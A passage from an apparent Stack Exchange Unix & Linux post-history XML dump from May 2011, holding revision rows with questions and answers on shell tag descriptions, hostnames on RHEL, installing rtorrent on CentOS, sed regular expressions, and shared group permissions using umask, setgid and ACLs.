[tag:tcsh] The [C shell](http://en.wikipedia.org/wiki/C_shell) is one of the two surviving shells from the old days. It is [not favored for scripting](http://www.faqs.org/faqs/unix-faq/shell/csh-whynot/). The main implementation today is [tcsh](http://www.tcsh.org/). C shells used to have more interactive features than Bourne-style shells, but bash and zsh have now overtaken tcsh.&#xD;&#xA;* [tag:fish] [Fish](http://fishshell.org/) is a relative newcomer inspired by classical and aiming to combine power and simplicity.&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* [What are the fundamental differences between the mainstream *NIX shells?](http://unix.stackexchange.com/questions/3320/what-are-the-fundamental-differences-between-the-mainstream-nix-shells)&#xD;&#xA;* [Object-oriented shell for *nix](http://unix.stackexchange.com/questions/4495/object-oriented-shell-for-nix)&#xD;&#xA;&#xD;&#xA;## Interactive use&#xD;&#xA;&#xD;&#xA;These are features commonly found in shells with good interaction support (bash, tcsh, zsh, fish):&#xD;&#xA;&#xD;&#xA;* [tag:line-edition] command line edition, often with configurable key bindings. [tag:readline] in bash.&#xD;&#xA;* [tag:command-history] a history of commands that can be navigated with the `Up` and `Down` keys, searched, etc.; also a recall mechanism based on expanding sequences beginning with `!`.&#xD;&#xA;* [tag:autocomplete] completion of partially-entered file names, command names, options and other arguments.&#xD;&#xA;* [tag:job-control] management of background processes.&#xD;&#xA;* [tag:prompt] showing a prompt before each command, which many users like to configure.&#xD;&#xA;* [tag:alias] defining short names for often-used commands&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* [What is the exact difference between a 'terminal', a 'shell', a 'tty' and a 'console'?](http://unix.stackexchange.com/questions/4126/what-is-the-exact-difference-between-a-terminal-a-shell-a-tty-and-a-cons)&#xD;&#xA;* [What are your favorite command line features or tricks?](http://unix.stackexchange.com/questions/6/what-are-your-favorite-command-line-features-or-tricks)&#xD;&#xA;* http://unix.stackexchange.com/questions/983/what-features-are-in-zsh-and-missing-from-bash-or-vice-versa&#xD;&#xA;* [Colorizing your terminal and shell environment?](http://unix.stackexchange.com/questions/148/colorizing-your-terminal-and-shell-environment)&#xD;&#xA;* [best way to search my shell's history](http://unix.stackexchange.com/questions/541/best-way-to-search-my-shells-history); [How to access the history on the fly in unix?](http://unix.stackexchange.com/questions/1254/how-to-access-the-history-on-the-fly-in-unix)&#xD;&#xA;&#xD;&#xA;## Shell scripting&#xD;&#xA;&#xD;&#xA;Shells have traditional control structures (conditionals, loops) as well as means to combine processes (in particular the [pipe](http://en.wikipedia.org/wiki/Pipe_%28Unix%29)). They have built-in support for a few tasks such as arithmetic and basic string manipulation, but rely on external commands for other things.&#xD;&#xA;&#xD;&#xA;Almost every unix-like system provides a [POSIX](http://pubs.opengroup.org/onlinepubs/009695399/)-compliant shell, usually as `/bin/sh`. So scripts aiming to be portable between unix variants should be written according to that standard, and start with the `#!/bin/sh` [shebang](http://en.wikipedia.org/wiki/Shebang_%28Unix%29) line.&#xD;&#xA;&#xD;&#xA;Many systems have at least ksh or bash available. These provide a number of useful extensions, though not always with the same syntax. Features present in both (and in zsh) include local variables in function, array variables, the double bracket syntax for conditionals (`[[ … ]]`), and (requiring an option to be set in bash and zsh) additional globbing patterns such as `@(…)`.&#xD;&#xA;&#xD;&#xA;A common difficulty in shell programming is quoting. Unlike in most programming languages, almost everything is a string, and quoting is only necessary around special characters. However some cases are tricky. In particular, a common pitfall is that variable and common substitions (`$foo`, `$(foo)`) undergo further expansion and should be protected by double quotes (`&quot;$foo&quot;`, `&quot;$(foo)&quot;`) unless that further expansion is desired.&#xD;&#xA;&#xD;&#xA;### Related tags&#xD;&#xA;&#xD;&#xA;* [tag:quoting] a tricky aspect of shell programming&#xD;&#xA;* [tag:wildcards] globbing, i.e., using patterns to match multiple files&#xD;&#xA;* [tag:io-redirection] connecting the input or output of a command to a file&#xD;&#xA;* [tag:pipe] connecting the output of a command to the input of another command&#xD;&#xA;* [tag:file-management] [tag:text-processing] two common shell tasks&#xD;&#xA;* [tag:utilities] Shells often call external utilities dedicated to one particular task.&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* [Practical tasks to learn shell scripting.](http://unix.stackexchange.com/questions/490/practical-tasks-to-learn-shell-scripting)&#xD;&#xA;* [$VAR vs ${VAR} and to quote or not to quote](http://unix.stackexchange.com/questions/4899/var-vs-var-and-to-quote-or-not-to-quote)&#xD;&#xA;* [How do I delete a file whose name begins with “--”?](http://unix.stackexchange.com/questions/1519/how-do-i-delete-a-file-whose-name-begins-with)&#xD;&#xA;" />
  <row Id="31549" PostHistoryTypeId="6" PostId="5484" RevisionGUID="162addee-119d-4acd-a23f-24505e07a1f5" CreationDate="2011-05-08T13:55:48.883" UserId="885" Comment="edited tags" Text="ézshàélineöeditorà" />
  <row Id="31550" PostHistoryTypeId="6" PostId="5479" RevisionGUID="82fc4e33-ca84-45ec-87f8-640b6ae56700" CreationDate="2011-05-08T13:55:55.250" UserId="885" Comment="edited tags" Text="ézshàélineöeditorà" />
  <row Id="31551" PostHistoryTypeId="2" PostId="12832" RevisionGUID="86cb05e2-3f34-4120-9616-fb706f1e2998" CreationDate="2011-05-08T14:27:21.443" UserId="138" Text="On RHEL and derivatives like CentOS, you need to edit two files to change the hostname.&#xD;&#xA;&#xD;&#xA;The system sets its hostname at bootup based on the `HOSTNAME` line in `/etc/sysconfig/network`. The `nano` text editor is installed by default on RHEL and its derivatives, and its usage is self-evident.&#xD;&#xA;&#xD;&#xA;You also have to change the name in the `/etc/hosts` file. If you do not, certain commands will suddenly start taking longer to run. They are trying to find the local host IP from the hostname, and without an entry in `/etc/hosts`, it has to go through the full network name lookup process before it can move on. Depending on your DNS setup, this can mean delays of a minute or so!&#xD;&#xA;&#xD;&#xA;Having changed those two files, you can either run the `hostname` command to change the run-time copy of the hostname (which again, was set from `/etc/sysconfig/network`) or just reboot.&#xD;&#xA;&#xD;&#xA;Ubuntu differs in that the static copy of the hostname is stored in `/etc/hostname`. For that matter, many aspects of network configuration are stored differently on Ubuntu as compared to RHEL." />
  <row Id="31552" PostHistoryTypeId="2" PostId="12833" RevisionGUID="71e8024b-190e-47ba-bf5d-46244db59797" CreationDate="2011-05-08T14:40:21.410" UserId="6889" Text="I was once faced with trying to determine what process was behind a particular port (this time it was 8000). I tried a variety of lsof and netstat, but then took a chance and tried hitting the port via a browser (i.e. http://hostname:8000/). Lo and behold, a splash screen greeted me, and it became obvious what the process was (for the record, it was [Splunk][1]). &#xD;&#xA;&#xD;&#xA;One more thought: &quot;ps -e -o pid,args&quot; (YMMV) may sometimes show the port number in the arguments list. Grep is your friend!&#xD;&#xA;&#xD;&#xA;  [1]: http://www.splunk.com/" />
  <row Id="31554" PostHistoryTypeId="17" PostId="12835" RevisionGUID="a97d09d5-43f5-47a1-8393-54ac5f643e95" CreationDate="2011-05-08T14:49:22.673" UserId="-1" Comment="from http://serverfault.com/questions/267105/install-rtorrent-failed-using-yum-install-rtorrent-in-centos/267110#267110" Text="" />
  <row Id="31555" PostHistoryTypeId="17" PostId="12836" RevisionGUID="dcf4efca-c4ba-4e1a-bdac-273568eb1798" CreationDate="2011-05-08T14:49:22.673" UserId="-1" Comment="from http://serverfault.com/questions/267105/install-rtorrent-failed-using-yum-install-rtorrent-in-centos/267114#267114" Text="" />
  <row Id="31556" PostHistoryTypeId="2" PostId="12835" RevisionGUID="d7544994-872e-4284-b9be-280396afdf74" CreationDate="2011-05-06T19:07:30.613" UserDisplayName="TrueDuality" Text="The reason you can't find it in the stock RPM repository that comes with CentOS is that rtorrent is traditionally a desktop application even though it is command line based. CentOS is a close of Red Had Enterprise Linux which does not include applications like rtorrent. A quick search online and I couldn't find any third party repositories for CentOS that included rtorrent.&#xD;&#xA;&#xD;&#xA;My personal suggestion is to use Fedora, which is still based on the Red Hat architecture but includes a much wider range of packages including rtorrent." />
  <row Id="31557" PostHistoryTypeId="2" PostId="12836" RevisionGUID="d1ea0ace-de25-45aa-832a-2097d7bbd6b7" CreationDate="2011-05-06T19:10:47.770" UserId="7246" Text="Because you did not mention it, I am assuming you are on CentOS 5.&#xD;&#xA;&#xD;&#xA;An old version of rtorrent can be found in the EPEL repository. I looked up the package [here](http://mirror.utexas.edu/epel/5Server/i386/) and found rtorrent version 0.7.8. The current version number is 0.8.7. The Fedora Project has instructions on installing the EPEL repository [here](http://fedoraproject.org/wiki/EPEL/FAQ#Using_EPEL]).&#xD;&#xA;&#xD;&#xA;If you want the latest version, you will need to compile it from source from their website." />
  <row Id="31558" PostHistoryTypeId="2" PostId="12834" RevisionGUID="22b3967b-7717-4440-9494-63d922c6e932" CreationDate="2011-05-06T18:57:04.930" UserDisplayName="Mani" Text="Hi&#xD;&#xA;&#xD;&#xA;I want to install rtorrent as a client (NOT SeedBox). I use following command&#xD;&#xA;&#xD;&#xA;    yum install rtorrent&#xD;&#xA;&#xD;&#xA;I get following message:&#xD;&#xA;&#xD;&#xA;    Loaded plugins: fastestmirror&#xD;&#xA;    Loading mirror speeds from cached hostfile&#xD;&#xA;     * base: centos.mirror.iweb.ca&#xD;&#xA;     * extras: centos.mirror.iweb.ca&#xD;&#xA;     * updates: centos.mirror.netelligent.ca&#xD;&#xA;    Excluding Packages in global exclude list&#xD;&#xA;    Finished&#xD;&#xA;    Setting up Install Process&#xD;&#xA;    No package rtorrent available.&#xD;&#xA;    Nothing to do&#xD;&#xA;&#xD;&#xA;I think it's because I do not have rtorrent at my repository. What should I do to add rtorrent to my repository. I tried updating yum without any success:&#xD;&#xA;&#xD;&#xA;    yum update&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31559" PostHistoryTypeId="1" PostId="12834" RevisionGUID="22b3967b-7717-4440-9494-63d922c6e932" CreationDate="2011-05-06T18:57:04.930" UserDisplayName="Mani" Text="install rtorrent failed using yum install rtorrent in CentOS" />
  <row Id="31560" PostHistoryTypeId="3" PostId="12834" RevisionGUID="22b3967b-7717-4440-9494-63d922c6e932" CreationDate="2011-05-06T18:57:04.930" UserDisplayName="Mani" Text="écentosàébittorrentà" />
  <row Id="31561" PostHistoryTypeId="17" PostId="12834" RevisionGUID="dbab7a03-6269-4164-a2af-98eddbd304c6" CreationDate="2011-05-08T14:49:22.673" UserId="-1" Comment="from http://serverfault.com/questions/267105/install-rtorrent-failed-using-yum-install-rtorrent-in-centos" Text="" />
  <row Id="31562" PostHistoryTypeId="6" PostId="12834" RevisionGUID="73fbd3f8-e74c-4e62-86a3-83f8ac195432" CreationDate="2011-05-08T14:52:00.923" UserId="885" Comment="edited tags" Text="écentosàésoftwareöinstallationàébittorrentà" />
  <row Id="31563" PostHistoryTypeId="25" PostId="12829" RevisionGUID="f2dbc597-d40b-4738-a914-1bd4f12c0a72" CreationDate="2011-05-08T15:11:33.217" Comment="http://twitter.com/#!/StackUnix/status/67245256189546496" />
  <row Id="31564" PostHistoryTypeId="2" PostId="12837" RevisionGUID="de675122-8b7e-4837-9af7-935ef1262cda" CreationDate="2011-05-08T16:06:58.230" UserId="2267" Text="How do I make tcsh's history isearch (ctrl-r) case insensitive? I &#xD;&#xA;tried &quot;set complete=igncase&quot; but that affects file completion, not &#xD;&#xA;history isearch.  &#xD;&#xA;" />
  <row Id="31565" PostHistoryTypeId="1" PostId="12837" RevisionGUID="de675122-8b7e-4837-9af7-935ef1262cda" CreationDate="2011-05-08T16:06:58.230" UserId="2267" Text="Making tcsh history isearch case-insensitive" />
  <row Id="31566" PostHistoryTypeId="3" PostId="12837" RevisionGUID="de675122-8b7e-4837-9af7-935ef1262cda" CreationDate="2011-05-08T16:06:58.230" UserId="2267" Text="étcshà" />
  <row Id="31567" PostHistoryTypeId="2" PostId="12838" RevisionGUID="895557af-8337-48e9-93e5-15625035643d" CreationDate="2011-05-08T16:39:36.877" UserId="6960" Text="Terms regarding the OS:&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA; - Must be installed on pendrive&lt;br&gt;&#xD;&#xA; - It must contain softwares for office use&lt;br&gt;&#xD;&#xA; - Need to save files, GUI settings on it (auto)&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;So I'm not searching for a LiveCD.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;What could be the best choice?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thank you.&lt;br&gt;" />
  <row Id="31568" PostHistoryTypeId="1" PostId="12838" RevisionGUID="895557af-8337-48e9-93e5-15625035643d" CreationDate="2011-05-08T16:39:36.877" UserId="6960" Text="Linux on pendrive? Which distro to use?" />
  <row Id="31569" PostHistoryTypeId="3" PostId="12838" RevisionGUID="895557af-8337-48e9-93e5-15625035643d" CreationDate="2011-05-08T16:39:36.877" UserId="6960" Text="édistributionöchoiceà" />
  <row Id="31571" PostHistoryTypeId="2" PostId="12839" RevisionGUID="4410a4c1-ab3a-42ee-9655-6760e3d96345" CreationDate="2011-05-08T17:19:26.587" UserId="885" Text="Most “live CD” distributions can be installed on a pen drive instead of a CD. Then you can use the rest of the pen drive (if it's large enough) as storage. For example, for Ubuntu, prepare a [“live CD”](https://help.ubuntu.com/community/LiveCD) on a [USB pen drive](https://help.ubuntu.com/community/Installation/FromUSBStick). The pen drive creator utility will let you choose how much space to devote to storage.&#xD;&#xA;&#xD;&#xA;Alternatively, just do a normal installation that happens to be on a pen drive rather than an internal hard disk. That way, you'll be able to choose exactly what packages to install. The downside of this approach is that more files will be saved on the USB drive (the live CD doesn't store any transient data on the drive, only your documents and customizations) since the system will be running directly off the drive. Therefore the system will be slower (not necessarily noticeably) and the pen drive's lifetime will be shortened (not necessarily noticeably). On the upside, this way requires less RAM.&#xD;&#xA;" />
  <row Id="31572" PostHistoryTypeId="6" PostId="12838" RevisionGUID="8a73d931-fea8-4e60-9b16-619833f13965" CreationDate="2011-05-08T17:19:44.700" UserId="885" Comment="edited tags" Text="élinuxàédistributionöchoiceàéliveöusbàéremovableöstorageà" />
  <row Id="31574" PostHistoryTypeId="25" PostId="12838" RevisionGUID="394d181c-e45c-48b8-94e1-d460f1cd330f" CreationDate="2011-05-08T18:11:32.943" Comment="http://twitter.com/#!/StackUnix/status/67290553431228417" />
  <row Id="31575" PostHistoryTypeId="2" PostId="12840" RevisionGUID="e3091ad5-b465-42a5-95e2-5869a80b9f39" CreationDate="2011-05-08T18:22:19.707" UserId="885" Text="History search in tcsh always looks for an exact match (both incremental and nonincremental)¹. If you want a case-insensitive search, code it yourself, or make a feature request — but don't hold your breath, tcsh hasn't been actively developed for years.&#xD;&#xA;&#xD;&#xA;I recommend switching to zsh, where incremental search is case-insensitive by default.&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt; As of tcsh 6.17.02. See `c_search_line` and `e_inc_search` in `ed.chared.c`. &lt;/sub&gt;&#xD;&#xA;" />
  <row Id="31576" PostHistoryTypeId="2" PostId="12841" RevisionGUID="b8da899e-6865-46e3-ba1d-5fbbd0dc9f77" CreationDate="2011-05-08T18:31:27.793" UserId="7322" Text="Requirements:&#xD;&#xA;&#xD;&#xA;* firewall&#xD;&#xA;* internet connection sharing&#xD;&#xA;* DHCP server&#xD;&#xA;* Freenet (Sun Java)&#xD;&#xA;* torrent&#xD;&#xA;* Samba&#xD;&#xA;* SSH server&#xD;&#xA;* Take up as little RAM as possible.&#xD;&#xA;* Must be 100% usable in console (remotely over ssh).&#xD;&#xA;* **While I'm not a complete noob, I don't have a beard! I already failed trying to set up Arch Linux.**" />
  <row Id="31577" PostHistoryTypeId="1" PostId="12841" RevisionGUID="b8da899e-6865-46e3-ba1d-5fbbd0dc9f77" CreationDate="2011-05-08T18:31:27.793" UserId="7322" Text="What distro for this task?" />
  <row Id="31578" PostHistoryTypeId="3" PostId="12841" RevisionGUID="b8da899e-6865-46e3-ba1d-5fbbd0dc9f77" CreationDate="2011-05-08T18:31:27.793" UserId="7322" Text="édistributionöchoiceà" />
  <row Id="31579" PostHistoryTypeId="2" PostId="12842" RevisionGUID="203d8302-b8b1-4b7b-92b5-6cfbcb244097" CreationDate="2011-05-08T18:41:11.347" UserId="5289" Text="Suppose I have two users A and B and a group G and a folder foo, both users are members of G. &#xD;&#xA;&#xD;&#xA;If I save as user A a file under foo, the permissions are: `-rw-r--r-- A A`. However it is possible to achieve that every file saved under some subdirectory of foo has permissions `-rwxrwx--- A G` (i.e. owner A, group G)? " />
  <row Id="31580" PostHistoryTypeId="1" PostId="12842" RevisionGUID="203d8302-b8b1-4b7b-92b5-6cfbcb244097" CreationDate="2011-05-08T18:41:11.347" UserId="5289" Text="Permission of saved files" />
  <row Id="31581" PostHistoryTypeId="3" PostId="12842" RevisionGUID="203d8302-b8b1-4b7b-92b5-6cfbcb244097" CreationDate="2011-05-08T18:41:11.347" UserId="5289" Text="épermissionsà" />
  <row Id="31582" PostHistoryTypeId="2" PostId="12843" RevisionGUID="f91f2ea5-ebca-440d-9e3c-f12052f2c0d8" CreationDate="2011-05-08T18:41:51.533" UserId="2000" Text="Any Linux distro can do all what you need. If you need a more desktop oriented system I would recommend Fedora or Mandriva, if you need a more corporate oriented system I would recommend CentOS." />
  <row Id="31583" PostHistoryTypeId="2" PostId="12844" RevisionGUID="96f1eb20-b5dc-45bf-9172-2129c0aed0cb" CreationDate="2011-05-08T18:49:37.750" UserId="6960" Text="INPUT&lt;br&gt;&#xD;&#xA;&#xD;&#xA;	RANDOMSTRING BLA-BLA [111] RANDOMSTRING BLA-BLA&#xD;&#xA;&#xD;&#xA;OUTPUT&lt;br&gt;&#xD;&#xA;&#xD;&#xA;	RANDOMSTRING BLA-BLA [200] RANDOMSTRING BLA-BLA&#xD;&#xA;&#xD;&#xA;[111] could contain various numbers with 3 digits: 120 or 300 or 400 or 101, etc.&lt;br&gt;&#xD;&#xA;&#xD;&#xA;So all I want ~this: &lt;br&gt;&#xD;&#xA;&#xD;&#xA;	sed &quot;s/Howtos&lt;\/a&gt; \[111] \//`grep '^&lt;a href=&quot;' list.txt | wc -l`/&quot; original.txt&#xD;&#xA;&#xD;&#xA;&quot;Regexp'ing the 111&quot; that's the only thing I can't figure out&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;The output of:&#xD;&#xA;&#xD;&#xA;	grep '^&lt;a href=&quot;' list.txt | wc -l&#xD;&#xA;&#xD;&#xA;would be e.g.: 200 in the example&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thank for any help :\&lt;br&gt;" />
  <row Id="31584" PostHistoryTypeId="1" PostId="12844" RevisionGUID="96f1eb20-b5dc-45bf-9172-2129c0aed0cb" CreationDate="2011-05-08T18:49:37.750" UserId="6960" Text="sed regexp for: [111]" />
  <row Id="31585" PostHistoryTypeId="3" PostId="12844" RevisionGUID="96f1eb20-b5dc-45bf-9172-2129c0aed0cb" CreationDate="2011-05-08T18:49:37.750" UserId="6960" Text="ésedà" />
  <row Id="31586" PostHistoryTypeId="2" PostId="12845" RevisionGUID="9372794e-e81c-49ba-a3e2-ec0741740eea" CreationDate="2011-05-08T18:51:21.293" UserId="5325" Text="You can control the assigned permission bits with `umask`, and the group by making the directory *setgid* to `G`.&#xD;&#xA;&#xD;&#xA;    $ umask 002            # allow group write; everyone must do this&#xD;&#xA;    $ chgrp G .            # set directory group to G&#xD;&#xA;    $ chmod g+s .          # files created in directory will be in group G&#xD;&#xA;&#xD;&#xA;Note that you have to do the `chgrp`/`chmod` for every subdirectory; it doesn't propagate automatically (that is, neither existing nor subsequently created directories under a *setgid* directory will be *setgid*, although the latter will be in group `G`).&#xD;&#xA;&#xD;&#xA;Also note that `umask` is a process attribute and applies to all files created by that process and its children (which inherit the `umask` in effect in their parent at `fork()` time).  Users may need to set this in `~/.profile`, and may need to watch out for things unrelated to your directory that need different permissions.  [modules](http://modules.sourceforge.net &quot;modules — Software Environment Management&quot;) may be useful if you need different settings when doing different things.&#xD;&#xA;&#xD;&#xA;You can control things a bit better if you can use POSIX ACLs; it should be possible to specify both a permissions mask and a group, and have them propagate sensibly.  Support for POSIX ACLs is somewhat variable, though." />
  <row Id="31587" PostHistoryTypeId="2" PostId="12846" RevisionGUID="8dbf6fbc-fffa-4e43-a4fc-bc80545216c0" CreationDate="2011-05-08T18:59:23.907" UserId="4671" Text="This question is a good fit for linux [acl](http://en.wikipedia.org/wiki/Access_control_list). Since you don't state your OS, I'll assume Linux in what follows.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31590" PostHistoryTypeId="2" PostId="12847" RevisionGUID="017b9d11-f0c0-42f1-a99f-45afa2344be7" CreationDate="2011-05-08T19:02:27.377" UserId="885" Text="If at all possible, use [access control lists (ACL)](http://en.wikipedia.org/wiki/Access_control_list).&#xD;&#xA;&#xD;&#xA;Under Linux, make sure that the filesystem you're using supports ACLs (most unix filesystems do). You may need to change the mount options to enable ACLs: with ext2/ext3/ext4, you need to specify the `acl` mount option explicitly, so the entry in `/etc/fstab` should look like `/dev/sda1  /  ext4  errors=remount-ro,acl  0 1`. Run `mount -o remount,acl /` to activate ACLs without rebooting. Also install the ACL command line tools `getfacl` and `setfacl`, typically provided in a package called `acl`.&#xD;&#xA;&#xD;&#xA;Now that the one-time setup is over, change the directory's ACL to give the group write permissions and to make these permissions inherited by newly created files. Under Linux:&#xD;&#xA;&#xD;&#xA;    setfacl -d -m group:G:rwx /path/to/directory&#xD;&#xA;    setfacl -m group:G:rwx /path/to/directory&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;If ACLs are not an option, make the directory owned by the group G, and set its permissions to 2775 or 2770: `chmod g+rwxs /path/to/directory`. The `s` here means the setgid bit; for a directory, it means that files created in this directory will belong to the group that owns the directory.&#xD;&#xA;&#xD;&#xA;You'll also need to set A and B's [umask](http://en.wikipedia.org/wiki/Umask) to make all their files group-writable by default. The default umask on most systems is 022, meaning that files can have all permissions except write by group and other. Change that to 002, meaning to forbid only write-by-other permission. You would typically put that setting in your `~/.profile`:&#xD;&#xA;&#xD;&#xA;    umask 002    # or 007 to have files not readable by others&#xD;&#xA;" />
  <row Id="31591" PostHistoryTypeId="6" PostId="12842" RevisionGUID="17d7880b-7256-46bb-a497-da956a769c96" CreationDate="2011-05-08T19:03:00.513" UserId="885" Comment="edited tags" Text="épermissionsàégroupà" />
  <row Id="31592" PostHistoryTypeId="5" PostId="12842" RevisionGUID="77d3ffea-1ef6-496b-87d4-3a5952f030b1" CreationDate="2011-05-08T19:03:38.283" UserId="5289" Comment="added 23 characters in body" Text="Suppose I have two users A and B and a group G and a folder foo, both users are members of G (using linux and ext3). &#xD;&#xA;&#xD;&#xA;If I save as user A a file under foo, the permissions are: `-rw-r--r-- A A`. However it is possible to achieve that every file saved under some subdirectory of foo has permissions `-rwxrwx--- A G` (i.e. owner A, group G)? " />
  <row Id="31593" PostHistoryTypeId="2" PostId="12848" RevisionGUID="7fe583a5-1bb0-48ab-be10-7fb37aa78958" CreationDate="2011-05-08T19:14:45.837" UserId="4531" Text="In [terminator][1], the keyboard shortcut `Ctrl+Shift+F` opens up a small bar at the bottom of the window to let the user search a text string within the terminal scrollback.&#xD;&#xA;&#xD;&#xA;Is there any keyboard shortcut for moving to the **Next** or **Previous** matched item in this search? The most complete [documentation][2] I found for Terminator is included in the Ubuntu documentation, but it doesn't cover this topic in detail.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://launchpad.net/terminator&#xD;&#xA;  [2]: http://manpages.ubuntu.com/manpages/lucid/en/man1/terminator.1.html" />
  <row Id="31594" PostHistoryTypeId="1" PostId="12848" RevisionGUID="7fe583a5-1bb0-48ab-be10-7fb37aa78958" CreationDate="2011-05-08T19:14:45.837" UserId="4531" Text="Terminator: Shortcuts for Prev and Next?" />
  <row Id="31595" PostHistoryTypeId="3" PostId="12848" RevisionGUID="7fe583a5-1bb0-48ab-be10-7fb37aa78958" CreationDate="2011-05-08T19:14:45.837" UserId="4531" Text="éterminalàékeyboardà" />
  <row Id="31596" PostHistoryTypeId="6" PostId="12848" RevisionGUID="684ea1f9-2c7f-4407-8286-f87d3121f304" CreationDate="2011-05-08T19:20:45.670" UserId="885" Comment="edited tags" Text="ékeyboardöshortcutsàésearchàéterminalöemulatorà" />
  <row Id="31597" PostHistoryTypeId="2" PostId="12849" RevisionGUID="5f3cd7b0-e1a6-46d4-b64d-5b3c947825e9" CreationDate="2011-05-08T19:27:27.787" UserId="1879" Text="regex for 3 digit number:  `[0-9]{3}` " />
  <row Id="31598" PostHistoryTypeId="5" PostId="12849" RevisionGUID="b2c61380-b0b9-42a0-82bc-05ba367b4a49" CreationDate="2011-05-08T19:33:52.497" UserId="1879" Comment="added 104 characters in body" Text="regex for 3 digit number:  `[0-9]{3}` So to replace 111 with 200:&#xD;&#xA;&#xD;&#xA;    sed -E 's/[0-9]{3}/200/g'&#xD;&#xA;&#xD;&#xA;you need the -E flag for extended regexs" />
  <row Id="31599" PostHistoryTypeId="5" PostId="12848" RevisionGUID="aa9992e4-f7f1-4327-b630-0d0a2c455b84" CreationDate="2011-05-08T19:34:01.217" UserId="4531" Comment="edited body" Text="In [terminator][1], the keyboard shortcut `Ctrl+Shift+F` opens up a small bar at the bottom of the window to let the user search a text string within the terminal scrollback.&#xD;&#xA;&#xD;&#xA;Is there any keyboard shortcut for moving to the **next** or **previous** matched item in this search? The most complete [documentation][2] I found for Terminator is included in the Ubuntu documentation, but it doesn't cover this topic in detail.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://launchpad.net/terminator&#xD;&#xA;  [2]: http://manpages.ubuntu.com/manpages/lucid/en/man1/terminator.1.html" />
  <row Id="31600" PostHistoryTypeId="2" PostId="12850" RevisionGUID="5d8e5f0b-80b8-485b-856b-64c7c2ed9cd8" CreationDate="2011-05-08T19:53:53.030" UserId="7325" Text="hello,&#xD;&#xA;&#xD;&#xA;I have the following scenario and my lack of linux knowledge doesn't help a lot.&#xD;&#xA;&#xD;&#xA;I have a text file that contains YML values, in the following matters:&#xD;&#xA;&#xD;&#xA;  coolregion:&#xD;&#xA;    min: {z: -99613.0, y: 45.0, x: -99805.0}&#xD;&#xA;    flags: {vehicle-place: allow}&#xD;&#xA;    max: {z: 100387.0, y: 127.0, x: 100195.0}&#xD;&#xA;    priority: 0&#xD;&#xA;    type: cuboid&#xD;&#xA;    owners:&#xD;&#xA;      groups: [jacob, eithan, michael]&#xD;&#xA;    members:&#xD;&#xA;      groups: [jack, noah]&#xD;&#xA;  niceregion:&#xD;&#xA;    min: {z: 544.0, y: 6.0, x: 184.0}&#xD;&#xA;    flags: {}&#xD;&#xA;    max: {z: 556.0, y: 13.0, x: 197.0}&#xD;&#xA;    priority: 0&#xD;&#xA;    type: cuboid&#xD;&#xA;    owners:&#xD;&#xA;      groups: [noah]&#xD;&#xA;    members:&#xD;&#xA;      groups: [logan, lucas, jack]&#xD;&#xA;&#xD;&#xA;I want to generate files for each name with the regions that he belongs to.&#xD;&#xA;&#xD;&#xA;For example noah.txt will contain &quot;coolregion, niceregion&quot; while jackob.txt will contain &quot;coolregion&quot; only.&#xD;&#xA;&#xD;&#xA;I know regex pretty well so I'd be also pleased if you only point me to the right direction (i.e. a script that only needs the regex to complete).&#xD;&#xA;&#xD;&#xA;If it matters, my linux version is &quot;Debian GNU/Linux 5.0&quot;.&#xD;&#xA;&#xD;&#xA;Thanks in advance&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31601" PostHistoryTypeId="1" PostId="12850" RevisionGUID="5d8e5f0b-80b8-485b-856b-64c7c2ed9cd8" CreationDate="2011-05-08T19:53:53.030" UserId="7325" Text="Need a script that generates files from words within a single text files" />
  <row Id="31602" PostHistoryTypeId="3" PostId="12850" RevisionGUID="5d8e5f0b-80b8-485b-856b-64c7c2ed9cd8" CreationDate="2011-05-08T19:53:53.030" UserId="7325" Text="éfilesystemsàétextöprocessingàéshellöscriptà" />
  <row Id="31603" PostHistoryTypeId="5" PostId="12846" RevisionGUID="1a86ef73-eb03-48d3-bf4b-0093597a22e3" CreationDate="2011-05-08T19:55:41.543" UserId="4671" Comment="added 1180 characters in body; added 172 characters in body" Text="This question is a good fit for linux [acl](http://en.wikipedia.org/wiki/Access_control_list). Since you don't state your OS, I'll assume Linux in what follows. Here is an example session.&#xD;&#xA;&#xD;&#xA;I don't know of a really good acl tutorial, but you could do worse than http://www.vanemery.com/Linux/ACL/linux-acl.html&#xD;&#xA;&#xD;&#xA;    /mnt/acl$ mkdir foo&#xD;&#xA;    /mnt/acl$ getfacl foo&#xD;&#xA;    # file: foo&#xD;&#xA;    # owner: faheem&#xD;&#xA;    # group: faheem&#xD;&#xA;    user::rwx&#xD;&#xA;    group::r-x&#xD;&#xA;    other::r-x&#xD;&#xA;&#xD;&#xA;    /mnt/acl$ chgrp staff foo&#xD;&#xA;    /mnt/acl$ setfacl -R -m u::rwx,g::rwx foo&#xD;&#xA;    /mnt/acl$ getfacl foo&#xD;&#xA;    # file: foo&#xD;&#xA;    # owner: faheem&#xD;&#xA;    # group: staff&#xD;&#xA;    user::rwx&#xD;&#xA;    group::rwx&#xD;&#xA;    other::r-x&#xD;&#xA;&#xD;&#xA;    /mnt/acl$ setfacl -d --set u::rwx,g::rwx,o::- foo&#xD;&#xA;    /mnt/acl$ getfacl foo&#xD;&#xA;    # file: foo&#xD;&#xA;    # owner: faheem&#xD;&#xA;    # group: staff&#xD;&#xA;    user::rwx&#xD;&#xA;    group::rwx&#xD;&#xA;    other::r-x&#xD;&#xA;    default:user::rwx&#xD;&#xA;    default:group::rwx&#xD;&#xA;    default:other::---&#xD;&#xA;&#xD;&#xA;    /mnt/acl$ cd foo&#xD;&#xA;    /mnt/acl/foo$ touch 